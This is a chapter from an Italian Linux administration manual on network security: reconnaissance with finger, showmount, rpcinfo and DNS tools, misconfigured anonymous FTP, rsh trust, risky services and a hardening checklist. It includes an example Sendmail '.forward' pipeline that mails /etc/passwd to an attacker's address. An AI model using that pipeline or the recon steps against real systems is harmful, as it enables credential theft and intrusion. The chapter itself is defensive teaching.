I servizi offerti da un sistema connesso in rete offrono una serie di informazioni, necessariea compiere tali servizi. Queste informazioni sono la base di partenza di qualunque possibileattacco. Per comprendere l’importanza di ciò, occorre tentare di ragionare nello stesso mododell’ipotetico aggressore.

La conseguenza normale della presa di coscienza di questo lato del problema è la tendenza allariduzione dei servizi, in modo da limitare le notizie disponibili all’esterno.

Gli esempi che vengono mostrati, possono essere usati tranquillamente contro macchine di cuisi ha l’amministrazione (e quindi la responsabilità). Se però si tenta di scoprire le debolezzedi qualche altro sistema, anche se si crede di agire in buona fede, questo comportamento puòessere individuato e considerato un tentativo di attacco reale.

182.2.1 Finger

Il protocollo Finger è la fonte primaria di informazioni per chi vuole tentare un attacco aun sistema, per cui va valutata la possibilità di escludere tale servizio dalla rete (il demone‘ fingerd ’ ).

Finger permette di conoscere chi è connesso al sistema e cosa sta facendo.

bruto@krampus:~$ finger @vittima.brot.dg [ Invio ]

[vittima.brot.dg]

Welcome to Linux version 2.0.35 at vittima.brot.dg !

12:07pm up 4:22, 1 users, load average: 0.00, 0.00, 0.00

Login Name Tty Idle Login Time Office Office Phonedaniele *6 4:21 Sep 30 07:45

Già questo permette di sapere il tipo dikernel utilizzato e le informazioniuptime(evidentementel’elaboratore della vittima ha avviato il demone‘ fingerd ’ con l’opzione‘ -w ’). Inoltre, in questocaso appare un solo utente connesso che sta svolgendo un lavoro con un programma da ben 4 oree 21 minuti, senza osservare il sistema in alcun modo.

L’informazione sull’utilizzo del sistema è importante per l’aggressore, che può determinarequando agire in modo da non essere scoperto.

L’aggressore potrebbe poi tentare un’interrogazione dell’elenco degli utenti, utilizzando l’espe-rienza delle consuetudini comuni. Così facendo potrebbe scoprire un utente di sistema mal con-figurato, per esempio‘nobody ’ , oppure un utente di prova lasciato lì, o comunque un’utenzainutilizzata per qualche motivo.

bruto@krampus:~$ finger [email protected]

Login: root Name: rootDirectory: /root Shell: /bin/bashLast login Thu Sep 30 8:34 (CEST) on ttyp1

Page 39: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Introduzione ai problemi di sicurezza con la rete 2023

from dinkel.brot.dg.1.168.192.in-addr.arpa...

Tanto per cominciare, in questo esempio si vede che l’utente‘ root ’ può accedere da unelaboratore della rete locale, riconoscendone così la presenza e il nome:dinkel.brot.dg .

bruto@krampus:~$ finger [email protected]

Login: nobody Name: NobodyDirectory: /tmp Shell: /bin/shNever logged in....

In questo caso, si nota che l’utente‘nobody ’ è stato configurato male. infatti, ladirectory perso-nale di questo utente di sistema, dal momento che esiste unashell presumibilmente valida, nonpuò essere‘ /tmp/ ’ . Chiunque possa avere accesso a tale directory, cioè ogni utente, potrebbeinserirvi dei file di configurazione allo scopo di abilitare una connessione esterna senza la richie-sta di unaparola d’ordine (verrà descritto più avanti l’uso possibile di file come‘ .rhosts ’ e‘ .shosts ’ ).

bruto@krampus:~$ finger [email protected]

Login: pippo Name: (null)Directory: /home/pippo Shell: /bin/bashLast login Thu Jan 1 10:18 (CET) on tty2

La scoperta di un utente che non accede da molto tempo, permette all’aggressore di concentrarela sua attenzione su questo per tentare di impadronirsene. Di solito si tratta di utenti creati soloper fare qualche prova (‘pippo ’ , ‘prova ’ , ‘guest ’ , ‘backdoor ’ , ecc.), lasciati lì e dimentica-ti. Niente di meglio quindi, considerato che spesso questi hanno delleparole d’ordine banali eindividuabili facilmente.

182.2.2 NFS

La condivisione delfile system attraverso il protocollo NFS può essere verificata facilmente at-traverso un comando come‘showmount ’ . La conoscenza delle porzioni condivise delfile systemaggiunge un tassello in più alle informazioni che può raccogliere l’ipotetico aggressore.

bruto@krampus:~$ /usr/sbin/showmount -e vittima.brot.dg

Export list for vittima.brot.dg:/ *.brot.dg,*.mehl.dg,*.plip.dg/tftpboot *.brot.dg,*.mehl.dg,*.plip.dg/home *.brot.dg,*.mehl.dg,*.plip.dg/mnt *.brot.dg,*.mehl.dg,*.plip.dg/opt *.brot.dg,*.mehl.dg,*.plip.dg/usr *.brot.dg,*.mehl.dg,*.plip.dg

Per quanto riguarda questo servizio, l’amministratore divittima.brot.dg è stato abbastan-za accurato, tranne per il fatto di avere concesso l’esportazione delladirectory radice per intero.Il fatto di avere limitato l’accessibilità a domini determinati (presumibilmente componenti la retelocale su cui è inserito tale elaboratore) non è una garanzia sufficiente. Chi dovesse riuscire aottenere un accesso presso una macchina di questa rete, potrebbe sfruttare l’occasione.

È importante ribadire la pericolosità dell’esportazione di unadirectory radice. Se un ipote-tico aggressore dovesse conoscere un difetto delservente NFS che gli potesse permettere diaccedere, anche se formalmente non ne risulta autorizzato, il danno sarebbe enorme.

Page 40: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2024 Introduzione ai problemi di sicurezza con la rete

Si osservi l’esportazione della directory‘ /home/ ’ ; di sicuro viene concessa anche la scrittura. Sel’ipotetico aggressore fosse in grado dimontare questa directory nel suo sistema, gli sarebbe fa-cile inserire file di configurazione come‘ .rhosts ’ (‘ rsh ’) e ‘ .shosts ’ (‘ssh ’), per autorizzarsil’accesso in qualità di quell’utente (anche senza l’utilizzo di alcunaparola d’ordine).

Da quanto affermato, è importante osservare che sarebbe meglio esportare directory in letturae scrittura solo aclienti indicati in modo preciso, evitando di consentire l’accesso in questomodo a tutta una rete o sottorete. In tutti gli altri casi, dove possibile, sarebbe meglio esportaresolo in lettura.

182.2.3 Servizi RPC

Un’altra fonte di informazioni molto importante è data dai servizi RPC, attraverso ilPortmapper.Basta usare‘ rpcinfo ’ per sapere quali servizi RPC sono offerti da un certoservente. Si osservil’esempio seguente:

bruto@krampus:~$ rpcinfo -p vittima.brot.dg

program vers proto port100000 2 tcp 111 rpcbind100000 2 udp 111 rpcbind100005 1 udp 635 mountd100005 2 udp 635 mountd100005 1 tcp 635 mountd100005 2 tcp 635 mountd100003 2 udp 2049 nfs100003 2 tcp 2049 nfs

In questo caso non c’è molto da sfruttare. In pratica è disponibile solo il servizio NFS. Però, inaltre situazioni si può scoprire la presenza di NIS (YP) o di altri servizi più insidiosi.

182.2.4 DNS

Il servizio DNS permette di fornire molte informazioni, spesso inutili. Sarebbe il caso di li-mitarsi alla configurazione necessaria alla risoluzione corretta dei nomi e degli indirizzi, senzaaggiungere altre notizie.

Per ottenere tutte le informazioni offerte da unservente DNS determinato, si può usare‘nslookup ’ con l’opzione ‘ -q=any ’ . L’esempio seguente verifica le informazioni riferite aldominiounipg.it ; come si può vedere dal risultato non ci sono informazioni superflue.

$ nslookup -q=any unipg.it [ Invio ]

unipg.itorigin = teseo.unipg.itmail addr = postmaster.unipg.itserial = 2002101001refresh = 86400retry = 1800expire = 604800minimum = 86400

unipg.it mail exchanger = 10 egeo.unipg.it.Name: unipg.itAddress: 141.250.1.4unipg.it nameserver = dns2.nic.it.unipg.it nameserver = teseo.unipg.it.unipg.it nameserver = dedalo.unipg.it.

Page 41: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Introduzione ai problemi di sicurezza con la rete 2025

unipg.it nameserver = giannutri.caspur.it.

Authoritative answers can be found from:unipg.it nameserver = dns2.nic.it.unipg.it nameserver = teseo.unipg.it.unipg.it nameserver = dedalo.unipg.it.unipg.it nameserver = giannutri.caspur.it.egeo.unipg.it internet address = 141.250.1.4dns2.nic.it internet address = 193.205.245.8teseo.unipg.it internet address = 141.250.1.7dedalo.unipg.it internet address = 141.250.1.6giannutri.caspur.it internet address = 193.204.5.35

Per questo si può usare anche‘host ’ con l’opzione‘ -a ’ , benché i risultati siano leggermentediversi:

$ host -a unipg.it [ Invio ]

unipg.it SOA teseo.unipg.it postmaster.unipg.it (2002101001 ;serial (version)86400 ;refresh period (1 day)1800 ;retry interval (30 minutes)604800 ;expire time (1 week)86400 ;default ttl (1 day))

unipg.it MX 10 egeo.unipg.itunipg.it A 141.250.1.4unipg.it NS dns2.nic.itunipg.it NS teseo.unipg.itunipg.it NS dedalo.unipg.itunipg.it NS giannutri.caspur.it

Infine, anche‘dig ’ con l’argomento‘ANY’ :

$ dig ANY unipg.it [ Invio ]

; <<>> DiG 9.2.1 <<>> ANY unipg.it;; global options: printcmd;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 15138;; flags: qr rd ra; QUERY: 1, ANSWER: 7, AUTHORITY: 4, ADDITIONAL: 5

;; QUESTION SECTION:;unipg.it. IN ANY

;; ANSWER SECTION:unipg.it. 32777 IN SOA teseo.unipg.it. postmaster.unipg.it. 2002101001 86400 1800 604800 86400unipg.it. 103210 IN MX 10 egeo.unipg.it.unipg.it. 43132 IN A 141.250.1.4unipg.it. 256298 IN NS dns2.nic.it.unipg.it. 256298 IN NS teseo.unipg.it.unipg.it. 256298 IN NS dedalo.unipg.it.unipg.it. 256298 IN NS giannutri.caspur.it.

;; AUTHORITY SECTION:unipg.it. 256298 IN NS dns2.nic.it.unipg.it. 256298 IN NS teseo.unipg.it.unipg.it. 256298 IN NS dedalo.unipg.it.unipg.it. 256298 IN NS giannutri.caspur.it.

;; ADDITIONAL SECTION:egeo.unipg.it. 80451 IN A 141.250.1.4dns2.nic.it. 27141 IN A 193.205.245.8teseo.unipg.it. 126469 IN A 141.250.1.7dedalo.unipg.it. 126468 IN A 141.250.1.6giannutri.caspur.it. 113325 IN A 193.204.5.35

Page 42: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2026 Introduzione ai problemi di sicurezza con la rete

;; Query time: 2 msec;; SERVER: 127.0.0.1#53(127.0.0.1);; WHEN: Fri Oct 18 09:50:55 2002;; MSG SIZE rcvd: 341

182.3 Errori comuni di configurazione

Gli errori di configurazione dei servizi sono il metodo più comune attraverso cui si consentel’aggressione del proprio sistema. In questo caso, non ci sono sistemi sicuri che tengano, a menoche il servizio stesso sia stato predisposto per impedire delle «castronerie».

182.3.1 FTP anonimo

Il servizio FTP anonimo si basa sulla definizione di un utente di sistema,‘ ftp ’ e della relativadirectory personale (home), ‘~ftp/ ’ . L’utente che accede in modo normale vede unfile systemridotto, dove la radice corrisponde alla directory‘~ftp/ ’ .

All’interno di questo piccolo mondo ci sono solitamente deiprogrammi di servizio, delle libreriee dei file di configurazione, tra cui in particolare anche il file‘~ftp/etc/passwd ’ . Questo filenon deveessere la copia di‘ /etc/passwd ’ , altrimenti si rischierebbe di mettere in condizionel’utente anonimo di leggere leparole d’ordine cifrate: un aggressore sarebbe in grado di scoprirele parole d’ordine reali degli utenti. A dire il vero, questa directory‘~ftp/etc/ ’ dovrebbe im-pedire la lettura del suo contenuto (01118), ma ciò serve solo a non fare conoscere quali file sonocontenuti, mentre tutti sanno che c’è comunque il file‘~ftp/etc/passwd ’ .

Inoltre, il fatto di lasciare il permesso di scrittura alla directory‘~ftp/ ’ può essere altrettantoinsidioso. Un utente anonimo potrebbe mettere lì un file‘ .forward ’ creato appositamente per isuoi scopi. Nell’esempio seguente si mostra in che modo sia possibile per un aggressore il farsispedire via posta elettronica il contenuto del file‘ /etc/passwd ’ reale del sistema.1

1. L’aggressore potrebbe creare un file per ilforward (il proseguimento dei messaggi) con-tenente un comando, cosa consentita daSendmail. In pratica, si potrebbe trattare delcontenuto seguente:"|/bin/mail [email protected] < /etc/passwd"

Come si vede, si tratta di unapipeline con cui si avvia‘mail ’ per inviare il file ‘ /etc/

passwd ’ all’indirizzo [email protected] .

2. Questo file dovrebbe essere inviato nella directory principale del servizio FTP della vittima,nominandolo‘ .forward ’ , nell’ipotesi che quella directory risulti scrivibile.

3. Da quel momento, è sufficiente inviare un messaggio di posta elettronica qualunque all’in-dirizzo [email protected] perché[email protected] riceva quel filedelleparole d’ordine.

In questo caso, è molto probabile che per l’aggressore non sia poi tanto facile cancellare le traccelasciate (cosa senza dubbio positiva). Tuttavia questa è la dimostrazione di cosa può fare unaconfigurazione errata di tale servizio.

1L’idea è tratta daImproving the security of your site by breaking into it, di Dan Farmer e Wietse Venema.

Page 43: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Introduzione ai problemi di sicurezza con la rete 2027

182.3.2 Accesso remoto

Il servizio offerto dai demoni‘ rlogind ’ e ‘ rshd ’ è pericoloso per la sua sola presenza, in quantoun aggressore potrebbe utilizzare un difetto in un altro servizio per configurare con successo unproprio accesso utilizzando un utente già esistente. Oltre a questo, una configurazione erratapotrebbe consentire un accesso indiscriminato.

La configurazione avviene attraverso due file possibili:‘ /etc/hosts.equiv ’ e ‘~/.rhosts ’(il secondo deve risiedere nelladirectory personale degli utenti che ne vogliono usufruire).

Finché in questi file appaiono solo nomi dinodi a cui viene concesso di accedere, i pericolisono limitati (si fa per dire): ogni utente accede alserventesenza l’indicazione dellaparolad’ordine , ma è almeno costretto a utilizzare lo stesso nominativo-utente. Se però si aggiungonoanche i nomi di utenti che possono accedere dall’esterno, se questo viene fatto nel file‘ /etc/

hosts.equiv ’ , si concede loro di assumere la personalità di qualunque altro utente di quelsistema, eccetto (normalmente) l’utente‘ root ’ .

dinkel.brot.dgroggen.brot.dgdinkel.brot.dg tiziodinkel.brot.dg caio

Se quello che si vede è il contenuto del file‘ /etc/hosts.equiv ’ , gli utenti ‘ tizio ’ e ‘caio ’del clientedinkel.brot.dg possono accedere come gli pare.

tizio@dinkel:~$ rsh -l pippo vittima.brot.dg ...

L’esempio mostra l’utente ‘ tizio ’ che accede all’elaboratorevittima.brot.dg ,utilizzando lì il nominativo-utente‘pippo ’ , senza dover indicare alcunaparola d’ordine.

Questi file non prevedono l’indicazione di commenti. Se viene utilizzato il simbolo‘#’ , puòsembrare che questo funzioni regolarmente come un commento, però, se a un aggressore fossepossibile introdurre nel sistema DNS unnodo denominato proprio «#», facendo in modo che cor-risponda a un suo indirizzo IP di comodo, ecco che quel commento servirebbe solo ad aggiungereun nuovo accesso senzaparola d’ordine.

182.4 Servizi e programmi pericolosi per loro natura

Alcuni servizi e alcuni programmi sono pericolosi per loro natura. Se devono essere utilizzati ènecessario che ciò avvenga su macchine di una rete locale ben protetta dalla rete esterna.

182.4.1 Trivial FTP

Il protocollo TFTP viene usato normalmente per consentire ai sistemi senza disco (diskless) diavviarsi. Per questo, normalmente, viene permesso l’accesso alla directory‘ /tftpboot/ ’ nelservente, all’interno della quale si articolano le varie directory specifiche di ognicliente che devepotersi connettere.

Tra queste directory c’è sicuramente‘ /tftpboot/ indirizzo_ip/etc/ ’ , contenente la configura-zione particolare di un certocliente. È chiaro che un aggressore potrebbe avere accesso facilmen-te a tale file, con il quale poi tentare di decifrare leparole d’ordine degli utenti di quel sistemasenza disco.

Il problema diventa più grave quando i file‘passwd ’ e ‘group ’ sono comuni a tutti iclien-ti, al limite anche alservente stesso. Infatti, spesso, per semplificare le cose, si utilizzano deicollegamenti fisici per questo scopo.

Page 44: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2028 Introduzione ai problemi di sicurezza con la rete

Ancora più grave diventa il problema se il servizio è configurato in modo da consentire l’accessoa partire dalladirectory radice delservente, cosa che si ottiene con la riga seguente nel file‘ /etc/

inetd.conf ’ .

tftp dgram udp wait root /usr/sbin/tcpd in.tftpd /

182.4.2 NIS

La presenza di un servizio NIS viene scoperta facilmente attraverso un’interrogazione RPC, conil comando‘ rpcinfo -p ’ . L’unica «difesa» che ha il servizio NIS è quella di utilizzare undominio NIS non intuibile; diversamente, chiunque ne sia a conoscenza può utilizzare il servizio.

Generalmente, il NIS utilizzato con i sistemi GNU, include ilTCP wrapper, riconoscendo così ifile ‘ /etc/hosts.allow ’ e ‘ /etc/hosts.deny ’ , cosa che dovrebbe limitare tale problema diaccessibilità. Tuttavia, non bisogna dimenticare che i pericoli si corrono anche all’interno dellapropria rete locale, quella per la quale si concede normalmente l’utilizzo del servizio.

A parte queste considerazioni, il tipo di NIS che si utilizza normalmente fa viaggiare nella re-te tutte le informazioni che amministra, comprese leparole d’ordine cifrate degli utenti. Unaggressore che avesse modo di analizzare la rete su cui viaggiano questi dati, potrebbe trarnevantaggio.

Un’altra cosa da considerare è che le informazioni amministrate dal NIS vengono collocate nelladirectory ‘ /var/yp/ dominio_nis/ ’ . Se un aggressore dovesse riuscire a leggere tali directory,verrebbe immediatamente a conoscenza del nome del dominio NIS; poi, analizzando il conte-nuto dei vari file, potrebbe estrarre tutte le informazioni che gli servono sugli utenti. Quello chesi vuole esprimere con questo è che non deve sfuggire l’esportazione della directory‘ /var/ ’attraverso il servizio NFS, perché sarebbe come esportare la directory‘ /etc/ ’ stessa.

182.4.3 X

Il sistema grafico X è in grado di connettere i dispositivi che compongono lastazione grafica(tastiera, mouse e schermo) attraverso la rete. Questo si traduce nella possibilità per gli utenti diavviare un programma in un elaboratore diverso dal proprio e di gestirne il funzionamento at-traverso il proprio schermo grafico. Evidentemente, questo significa che vengono fatte viaggiareattraverso la rete informazioni potenzialmente delicate, esattamente come se si usasse unashellremota non cifrata.

In generale, sarebbe opportuno impedire qualunque interazione tra gli elaboratori per ciò cheriguarda X. Inoltre, bisognerebbe vietarne l’utilizzo incontrollato, impedendo il transito di questoprotocollo attraverso irouter.

182.4.4 Sendmail

Sendmail è considerato generalmente unservente SMTP fragile dal punto di vista della sicu-rezza.Sendmail è stato progettato originalmente con una filosofia di massima prestazione econfigurabilità, trascurando aspetti della sicurezza che si sono presentati con il tempo.

Uno dei maggiori problemi diSendmail è legato alla possibilità di avere un destinatario rappre-sentato da un file o da unapipeline. Questo può essere utile nel file‘ /etc/aliases ’ o nel file‘~/.forward ’ di ogni utente, per creare un archivio di messaggi, per gestire unalista di postaelettronica, o per filtrare i messaggi attraverso programmi specifici.

È già stato descritto come potrebbe essere sfruttato il file‘~/.forward ’ da parte di un aggressoreche sia in grado di creare o di aprire questo file in scrittura nella directory di un utente: inviando

Page 45: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Introduzione ai problemi di sicurezza con la rete 2029

un messaggio all’indirizzo di quell’utente potrebbe ottenere l’avvio di un comando definito inunapipeline.

In passato, si sono evidenziate diverse tecniche che sfruttavano questo meccanismo, magarisemplicemente mettendo dei comandi al posto dei destinatari dei messaggi. Attualmente que-sti problemi sono conosciuti e le versioni più recenti diSendmail non dovrebbero consentire piùquesti trucchi. Fidarsi è bene,... ma in generaleSendmail è classificabile come un programmapotenzialmente pericoloso.

A quanto affermato si aggiunga l’estrema difficoltà nella sua configurazione, cosa che costringegeneralmente a mantenere ciò che è stato definito da altri. Un errore in questa configurazione,fatto da chiunque, potrebbe permette a qualcuno di sfruttareSendmail per scopi indesiderabili, allimite solo per la diffusione dispam.

182.4.5 Linuxconf

Recentemente è apparso un pacchetto specifico per i sistemi GNU/Linux, il cui scopo è quello difacilitare e centralizzare la configurazione dei vari sistemi. Si tratta diLinuxconf.

A parte ogni considerazione sulla validità di questo strumento, dal momento che si tratta diqualcosa di nuovo, è ancora tutta da verificare la sua affidabilità nei confronti della sicurezza.Un aggressore ben preparato potrebbe sfruttare questo protocollo per cambiare la configurazionedella sua vittima, in modo da garantirsi un accesso.

Di solito, Linuxconf viene controllato dalsupervisore dei servizi di rete; nel caso diInetd, con-viene commentare la riga seguente nel file‘ /etc/inetd.conf ’ e fare a meno di installare ilpacchetto.

#linuxconf stream tcp wait root /bin/linuxconf linuxconf --http

182.5 Fiducia e interdipendenza tra i sistemi

Lo studio sui problemi di sicurezza riferiti a unnodo particolare, non può limitarsi all’ambi-to di quell’elaboratore; deve includere anche l’ambiente circostante, ovvero gli altri elaboratoridai quali può dipendere per determinati servizi, oppure dai quali può accettare accessi senzaautenticazione.

L’aggressione a uno di questi sistemi pregiudica conseguentemente tutti quelli che ne dipendono.

182.5.1 Fiducia incondizionata

Si può parlare di «fiducia incondizionata» quando si concede ad altri elaboratori l’accesso, o l’u-tilizzo di determinati servizi, senza alcuna forma di controllo che non sia la pura determinazionedel nome di questi (il nome di dominio) o del numero IP, mentre in condizioni normali sarebbenecessaria almeno l’indicazione di unaparola d’ordine.

Il caso limite di fiducia incondizionata è dato dalla configurazione dei servizi di accesso remototramite ‘ rlogin ’ o ‘ rsh ’ , in modo tale da non richiedere alcunaparola d’ordine. Nello stessomodo va visto il servizio NFS e la concentrazione amministrativa del NIS.

Quando la fiducia si basa sul semplice riconoscimento del nome delcliente, il punto debole diquesto rapporto sta nella gestione dei servizi che si occupano di risolvere questi nomi in indirizziIP: DNS o NIS. L’aggressore che dovesse essere in grado di prendere il controllo dei sistemi chesi occupano di questi servizi, avrebbe la possibilità di modificarli per i suoi scopi. La cosa diventa

Page 46: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2030 Introduzione ai problemi di sicurezza con la rete

ancora più grave quando la gestione di questi servizi (DNS) è esterna all’ambiente controllatodall’amministratore che utilizza tale sistema di fiducia.

Eventualmente, i rapporti di fiducia possono essere basati, piuttosto che sui nomi, sugli indi-rizzi IP. Ciò servirebbe a ridurre i rischi, ma non a sufficienza: se il transito (ilrouting) non ècompletamente sotto controllo, qualcuno potrebbe dirottare gli instradamenti a proprio vantaggio.

182.5.2 Chiavi di identificazione

Per ridurre i rischi dovuti all’uso della fiducia incondizionata, si possono proteggere alcuni serviziattraverso chiavi di riconoscimento (come nel caso dei protocolli SSL/TLS e SECSH), con cuiil servente può identificare ilcliente, mentre lo stessocliente può verificare che ilservente siaeffettivamente la macchina che si intende contattare.

Il meccanismo si basa sulla definizione di una coppia di chiavi: lachiave privatae la chiavepubblica. L’elaboratore «A» crea una coppia di chiavi che userà per certificare la propria identità:la chiave privata non viene divulgata e gli servirà per generare di volta in volta la prova dellapropria identità, la chiave pubblica viene fornita a tutti gli altri elaboratori che hanno la necessitàdi verificare l’identità di «A». Quando due elaboratori vogliono potersi identificare a vicenda,entrambi devono essersi scambiati la chiave pubblica rispettiva.

182.5.3 Cifratura delle comunicazioni

Quando esiste un reticolo di fiducia reciproca tra diversinodi, anche se questi possono avere unsistema sicuro di identificazione, resta il problema del transito dei dati lungo la rete, che potrebbe-ro essere intercettati da un aggressore. Infatti, non bisogna trascurare la possibilità che qualcunoriesca a introdursi fisicamente nella rete locale (anche se apparentemente sicura), introducendoun piccolo elaboratore, nascosto opportunamente, con lo scopo di registrare tutte le transazio-ni, da cui trarre poi informazioni importanti (quali per esempio leparole d’ordine utilizzate perl’accesso remoto).

A questo si può porre rimedio solo con un buon sistema di cifratura, come avviene attraverso ilprotocollo SECSH. Tuttavia, il problema rimane per tutti quei servizi per i quali non è previstatale possibilità.

182.6 Backdoor: cosa ci si può attendere da un sistemacompromesso

Le porte posteriori, o le botole, obackdoor, sono delle anomalie «naturali», o create ad arte, perpermettere a qualcuno di accedere o utilizzare servizi in modo riservato. In pratica, è l’equivalentedi un passaggio segreto, sconosciuto al proprietario del castello, attraverso il quale altri possonoentrare quando vogliono senza essere notati.

Un aggressore che sia riuscito ad accedere in qualche modo a un sistema, potrebbe prendersi labriga di consolidare la posizione raggiunta ritoccando la configurazione o sostituendo gli ese-guibili di alcuni servizi, allo scopo di garantirsi un accesso privilegiato, possibilmente invisibileattraverso i mezzi normali.

AttraversoInternet è possibile procurarsi pacchetti di programmi modificati ad arte per otteneretali scopi. Quindi, il problema è più serio di quanto si possa immaginare a prima vista.

Page 47: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Introduzione ai problemi di sicurezza con la rete 2031

182.7 Regole dettate dal buon senso

La soluzione assoluta che garantisca la sicurezza dei sistemi connessi in rete non esiste. Tuttaviasi possono tenere a mente alcune regole elementari, dettate dal buon senso. L’elenco di suggeri-menti che appare di seguito, è ispirato in modo particolare daImproving the Security of your siteby breaking into itdi Dan Farmer e Wietse Venema.

• Sarebbe bene escludere il servizioFinger. Se ciò non fosse possibile, sarebbe almeno ilcaso di utilizzarne una versione modificata che non fornisca informazioni troppo delicatecome ladirectory personale e l’origine dell’ultimo accesso.

• Non si deve usare il NIS, a meno che ciò sia assolutamente necessario.

• Si deve usare il servizio NFS il meno possibile.

• Se viene attivato il servizio NFS, non devono essere esportate directory in modo incon-dizionato a qualunquenodo (attualmente, iserventi NFS nei sistemi GNU/Linux non loconsentono in ogni caso). Inoltre, è bene cercare almeno di limitare l’esportazione alla solalettura.

Non si deve esportare assolutamente ladirectory radice.

• Evitare di fornire servizi attraverso programmi ben conosciuti per i loro problemi disicurezza.Sendmail è un esempio tipico di un tale programma così pericoloso.

• Occorre porre un’attenzione particolare alla protezione deiserventi che offrono servizi deli-cati come DNS, NFS, NIS e altro. Su queste macchine sarebbe opportuno fossero ammessiad accedere solo utenti che hanno un ruolo amministrativo.

• È necessario esaminare attentamente i servizi offerti, spesso in modo predefinito, attraversol’analisi del file ‘ /etc/inetd.conf ’ , l’interrogazione delle RPC (ilPortmapper) e l’elen-co dei processi (alcuni servizi potrebbero essere indipendenti sia dalsupervisore dei servizidi rete che dal sistema delle RPC).

È importante che siano attivi solo i servizi necessari.

• Quando possibile è opportuno utilizzare l’avvio dei servizi attraverso il controllo delsu-pervisore dei servizi di rete e delTCP wrapper. Quando non si intende fornire un servi-zio, conviene almeno monitorarne le richieste attraverso l’ausilio delTCP wrapper (questoparticolare verrà chiarito nel capitolo186).

• Ridurre o eliminare del tutto la «fiducia» basata esclusivamente sul nome delcliente.

• Utilizzarepassword shadow e un comando‘passwd ’ che non consenta l’utilizzo diparoled’ordine troppo semplici (generalmente è già così nella maggior parte delle distribuzioniGNU/Linux).

• Fare a meno di gestire gruppi di lavoro abbinati aparole d’ordine: unaparola d’ordine digruppo è un segreto senza valore.

• Disabilitare gli utenti di sistema (‘bin ’ , ‘daemon’ , ecc.); disabilitare o eliminare gli utenticomuni che non abbiano utilizzato il sistema da tanto tempo (una gestione corretta dellepassword shadow può automatizzare questo meccanismo.

• Leggere la documentazione disponibile riferita al problema della sicurezza e tener-si aggiornati il più possibile, anche iscrivendosi ai gruppi di discussione che trattanol’argomento.

Page 48: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2032 Introduzione ai problemi di sicurezza con la rete

• Installare gli aggiornamenti riferiti alla sicurezza il più presto possibile.

• Scandire regolarmente ilfile system alla ricerca di alterazioni nei file. Per questo siutilizzano programmi comeAIDE e Tripwire.

182.8 Lista di spunta

Oltre che tenere a mente le regole dettate dal buon senso per cercare di evitare problemi nel-la sicurezza dei sistemi amministrati, si potrebbe pensare alla definizione di un comportamentostandard, verificabile attraverso una lista di spunta, come si fa di solito nei paesi di lingua in-glese (checklist). Nel documentoImproving the security of your UNIX system, viene propostaun’appendice con un esempio di una tale lista, a cui si ispira quella seguente.

È chiaro che ogni amministratore deve decidere la propria strategia, in funzione delle esigenzee della sua personale propensione al rischio. Con l’esempio seguente, si vuole solo invitare apredisporre la propria lista di spunta personale.

Sicurezza delle utenze

• Definizione delle regole imposte agli utenti riferite alleparole d’ordine.

• Verifica delleparole d’ordine rispetto a scelte ovvie.

• Definizione della scadenza di ogni utenza.

• Eliminazione di utenti generici (come il tipico utente‘guest ’).

• Verifica che tutti gli utenti abbiano unaparola d’ordine, oppure che queste sianodisabilitate attraverso un asterisco nel campo corrispondente.

• Verifica che tutti gli utenti di sistema non possano essere utilizzati per accedere, acausa della presenza di un asterisco nel campo dellaparola d’ordine.

• Eliminazione delle utenze di gruppo.

Sicurezza della rete

• Eliminazione del file‘ /etc/hosts.equiv ’ .

• Eliminazione dei file‘~/.rhosts ’ di ogni utente.

• Verifica che il file‘ /etc/securetty ’ contenga solo dispositivi di console.

• Verifica che l’esportazione NFS sia consentita solo anodi indicati in modo preciso,possibilmente per numero IP.

• Verifica dell’esportazione NFS minima indispensabile.

• Verifica della versione diSendmail.

• Eliminazione del servizioFinger se non è indispensabile.

• Verifica del corretto funzionamento del sistema di aggancio nelle connessioni seriali(non devono rimanere aperte le connessioni).

• Impedire il transito del protocollo del sistema grafico X attraverso irouter.

• Impedire iforward di X attraverso il protocollo SECSH.

Sicurezza del file system

• Eliminazione dei bit SUID e SGID negliscript dishell (anche se questo non dovrebbecausare problemi con i sistemi GNU/Linux).

Page 49: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Introduzione ai problemi di sicurezza con la rete 2033

• Verifica di tutti i programmi che hanno il bit SUID o SGID attivato, a meno di quelliche notoriamente devono avere questo privilegio.

